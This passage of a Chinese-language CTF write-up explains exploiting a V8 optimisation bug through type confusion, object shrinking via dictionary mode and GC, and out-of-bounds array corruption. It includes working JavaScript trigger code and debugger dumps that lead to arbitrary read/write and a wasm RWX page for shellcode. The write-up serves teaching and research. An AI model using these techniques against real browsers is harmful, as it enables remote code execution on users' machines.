有了伪造的ArrayBuffer,再结合DataView,通过不断地修改backing_store也既fake_ab.y5即可实现任意地址读写。按照wasm func addr(offset:0x18)->SharedFunctionInfo(offset:0x8)->WasmExportedFunctionData(offset:0x10)->data_instance(offset:0xc8)->imported_function_targets(offset:0)->rwx addr的顺序获取rwx的地址,写入shellcode即可。

完整exp在这里

漏洞利用 - Shrink object

基础知识

该漏洞利用技巧是从mem2019师傅34C3 CTF V9中学到的,从前面的分析我们知道了对象内(in-object)属性的存储方式,这种方式存储的是对象初始化时就有的属性,也就是我们所说的快速属性,然而还有一种存储属性的模式,就是dictionary mode。在字典模式中属性的存储不同于fast mode,不是直接存放在距离对象偏移为0x18的位置处,而是重新开辟了一块空间来存放。

我们用下面这个例子来实际分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function gc() { 
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}
let obj = {a:1.1,b:1.2,c:1.3,d:1.4,e:1.5};
%DebugPrint(obj);
readline();
delete obj['d'];
%DebugPrint(obj);
readline();
gc();
%DebugPrint(obj);
readline();

最开始obj对象有5个in-object属性,其直接存放在对象内部,相对于对象起始地址的偏移为0x18:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> job 0x758ca28fa29
0x758ca28fa29: [JS_OBJECT_TYPE]
- map: 0x23d4daa0cd91 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x332bb06046d9 <Object map = 0x23d4daa022f1>
- elements: 0x0f84c5302cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0f84c5302cf1 <FixedArray[0]> {
#a: <unboxed double> 1.1 (data field 0)
#b: <unboxed double> 1.2 (data field 1)
#c: <unboxed double> 1.3 (data field 2)
#d: <unboxed double> 1.4 (data field 3)
#e: <unboxed double> 1.5 (data field 4)
}
pwndbg> x/10xg 0x758ca28fa28
0x758ca28fa28: 0x000023d4daa0cd91 0x00000f84c5302cf1
0x758ca28fa38: 0x00000f84c5302cf1 0x3ff199999999999a <==1.1
0x758ca28fa48: 0x3ff3333333333333 0x3ff4cccccccccccd
0x758ca28fa58: 0x3ff6666666666666 0x3ff8000000000000
0x758ca28fa68: 0x00000f84c5302341 0x0000000500000000

接下来我们进行了delete obj['d']操作,删除对象属性的操作将会把对象转换为dictionary mode,转换后对象确实变成了dinctionary mode,我们再看原来对象的内存数据,发现原来存放属性的地方值已经发生变化了,使用job命令查看偏移为0x18位置处,显示free space, size 40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> job 0x758ca28fa29
0x758ca28fa29: [JS_OBJECT_TYPE]
- map: 0x23d4daa081f1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x332bb06046d9 <Object map = 0x23d4daa022f1>
- elements: 0x0f84c5302cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0758ca28fc71 <NameDictionary[53]> {
#a: 0x0758ca28fe29 <HeapNumber 1.1> (data, dict_index: 1, attrs: [WEC])
#e: 0x0758ca28fe69 <HeapNumber 1.5> (data, dict_index: 5, attrs: [WEC])
#c: 0x0758ca28fe49 <HeapNumber 1.3> (data, dict_index: 3, attrs: [WEC])
#b: 0x0758ca28fe39 <HeapNumber 1.2> (data, dict_index: 2, attrs: [WEC])
}
pwndbg> x/10xg 0x758ca28fa28
0x758ca28fa28: 0x000023d4daa081f1 0x00000758ca28fc71
0x758ca28fa38: 0x00000f84c5302cf1 0x00000f84c5302201
0x758ca28fa48: 0x0000002800000000 0x3ff4cccccccccccd
0x758ca28fa58: 0x3ff6666666666666 0x3ff8000000000000
0x758ca28fa68: 0x00000f84c5302341 0x0000000500000000
pwndbg> job 0x758ca28fa41
free space, size 40
pwndbg>

接下来调用gc函数,触发GC,对象obj由于在多次内存访问期间都存在,所以会被移至old space,此时查看相对于obj偏移为0x18处的值,已经不是原来存放的in-object属性了,而是其他的一些被移动到old space的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> job 0x2a376d0856f1
0x2a376d0856f1: [JS_OBJECT_TYPE] in OldSpace
- map: 0x23d4daa081f1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x332bb06046d9 <Object map = 0x23d4daa022f1>
- elements: 0x0f84c5302cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x2a376d08ddd1 <NameDictionary[53]> {
#a: 0x2a376d08e0e1 <HeapNumber 1.1> (data, dict_index: 1, attrs: [WEC])
#e: 0x2a376d08e0f1 <HeapNumber 1.5> (data, dict_index: 5, attrs: [WEC])
#c: 0x2a376d08e101 <HeapNumber 1.3> (data, dict_index: 3, attrs: [WEC])
#b: 0x2a376d08e111 <HeapNumber 1.2> (data, dict_index: 2, attrs: [WEC])
}
pwndbg> x/10xg 0x2a376d0856f0
0x2a376d0856f0: 0x000023d4daa081f1 0x00002a376d08ddd1
0x2a376d085700: 0x00000f84c5302cf1 0x000023d4daa0cbb1
0x2a376d085710: 0x00000f84c5302cf1 0x00000f84c5302cf1
0x2a376d085720: 0x00002a376d08dcb9 0x00002a376d08dcf9
0x2a376d085730: 0x00002a376d08dd41 0x00002a376d08dd89
pwndbg> job 0x2a376d085709
0x2a376d085709: [JS_OBJECT_TYPE] in OldSpace
- map: 0x23d4daa0cbb1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2a376d082291 <Memory map = 0x23d4daa0cb11>
- elements: 0x0f84c5302cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0f84c5302cf1 <FixedArray[0]> {
#buf: 0x2a376d08dcb9 <ArrayBuffer map = 0x23d4daa04371> (data field 0)
#f64: 0x2a376d08dcf9 <Float64Array map = 0x23d4daa04551> (data field 1)
#u32: 0x2a376d08dd41 <Uint32Array map = 0x23d4daa04191> (data field 2)
#bytes: 0x2a376d08dd89 <Uint8Array map = 0x23d4daa02b11> (data field 3)
}

实际利用

现在回到这道题上,前面已经知道通过一些操作让对象属性从fast mode变成dictionary mode,在通过多次内存操作触发GC,我们的对象将被移至old space,此时原来存放in-object属性的偏移0x18处起始的地方存放的是其他被移动到old space的对象,相当于对象已经发生了变化,由于漏洞的存在,CheckMaps节点被消除,无法检测出对象的改变,仍然按照原来访问in-object的方式来读写对象数据,此时读写的就是其他对象中的数据了,也既越界读写。

将对象从fast mode转化为dictionary mode的方式目前知道的是:

  • victim_obj.defineGetter(‘xx’,()=>2);
  • delete victim_obj[‘d’];

如果紧跟着obj后面的是我们申请的一个JSArray,那么越界修改数组的length字段是可以做到的,由此我们可以得到一个很大的数组越界,后续的利用就很简单了,查找Arraybuffer的backing_store相对于越界数组的下标便可做到任意地址读写。

现在的问题是如何让两个对象在移动至old space之后还能紧挨着呢?经过多次尝试发现,在trigger_vul中会有对victim_obj的访问,若是我在foo4vul中不加入对arr的访问,那么这两个对象移动后相差的距离一定会很大,所以我猜测由于存在对victim_obj的访问,所以它会先被移动到old space,后续的arr虽然也会移动,但是这之间已经有多个对象移动到old space了,因此导致二者的偏移很大。而在foo4vul中加入arr的访问,果然两个对象的地址是紧挨着的,而且非常稳定!

还有一个小问题:之前遇到了移动后victim_obj位于arr后面的情况,调换了一下foo4vul的参数顺序a,b,o,arr->a,b,arr,o即可。

拿到越界数组的部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
let victim_obj = {x:1,y:2,z:3,l:4,a:5,b:6,c:7,d:8,e:9};
let arr = [1.1,1.2,1.3,1.4,1.5,1.6];
var OPT_NUM = 0x10000;

function foo4vul(a,b,arr,o){
for(let i=0;i<OPT_NUM;++i){}
let ret = o.x+arr[4];
a&b;
o.l = 0x667788;
return ret;
}

// trigger vul to get an OOB Array
function trigger_vul(){
let b0 = {
valueOf: function(){
return 22223333;
}
}
let b = {
valueOf: function(){
victim_obj.__defineGetter__('xx',()=>2);
victim_obj.__defineGetter__('xx',()=>2);
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
return 888888889999;
}
}
let arr_t = [1.1,1.2,1.3,1.4,1.5,1.6];
foo4vul(12345,b0,arr_t,{x:1,y:2,z:3,l:4,a:5,b:6,c:7,d:8,e:9});
foo4vul(12345,b0,arr_t,{x:1,y:2,z:3,l:4,a:5,b:6,c:7,d:8,e:9});
foo4vul(12345,b,arr,victim_obj);
}

trigger_vul();

后续只需要在申请一个ArrayBuffer、marker,让它也移动到old space,依据特征查找处偏移即可做到任意地址读写,仍然按照上一种利用思路中获取wasm的rwx地址的方式,写入shellcode即可。

1
2
3
4
5
// 0xdead and 0xbeef is special
marker = {a:0xdead,b:0xbeef,c:f};
// 0x222 is special
ab = new ArrayBuffer(0x222);
gc();

完整exp在这里

利用效果:

总结

我们通过对源码的分析结合其他题目的利用方式先找到了漏洞的触发方式,然后再从源码的角度详细的跟踪了触发漏洞的回调函数具体调用路径,并且以此找到了3中定义回调函数的方式,分别是:定义toPrimitive属性;定义valueOf;定义toString。利用该漏洞可以造成类型混淆,然后介绍了两种利用方式来对这道题进行利用,分别是:伪造ArrayBuffer map,进一步伪造可用于任意地址读写的ArrayBuffer;将对象从fast mode转变成dictionary mode,然后移至old space,此时对象会发生收缩,但优化代码仍然会按照原来的方式读写对象的属性,也既越界读写其他对象的内容,构造合适的内存排布,越界写JSArray对象的length字段来构造OOB,进而实现任意地址读写。

参考

http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/

https://mem2019.github.io/jekyll/update/2019/08/28/V8-Redundancy-Elimination.html

http://eternalsakura13.com/2019/04/29/v9/